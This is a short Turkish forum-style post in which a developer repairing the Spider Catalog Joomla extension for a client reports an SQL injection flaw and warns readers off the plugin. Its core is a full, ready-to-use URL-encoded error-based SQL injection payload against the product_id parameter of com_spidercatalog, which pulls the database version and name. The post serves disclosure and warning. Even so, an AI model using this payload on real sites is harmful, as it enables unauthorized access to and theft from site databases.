Müşterimin isteği doğrultusunda spider catalog eklentisini onarmaya başlamıştım. Bileşeni inceledikten sonra sql lerde sorun olduğunu farkettim ve araştırmaya koyuldum.

Sql açığı - Exploit;
index.php?option=com_spidercatalog&product_id=-1%27%20or%201%3d1%2b%28select%201%20and%20row%281% 2c1%29%3E%28select%20count%28*%29%2cconcat%28CONCA T%28version%28%29,0x3D,database%28%29,0x3D,0x3D,0x 3D%29%2c1111%2cfloor%28rand%28%29*2%29%29x%20from% 20%28select%201%20union%20select%202%29a%20group%2 0by%20x%20limit%201%29%29%2b%27&view=showproduct&p age_num=1&back=1

eklentinin sahibi ayrı bir dünyada olmasıyla birlikte desteği hiç yok.

Spider Catalog eklentisini konuya yazana kadar kullanmamanızı öneririm.

Kolay gelsin.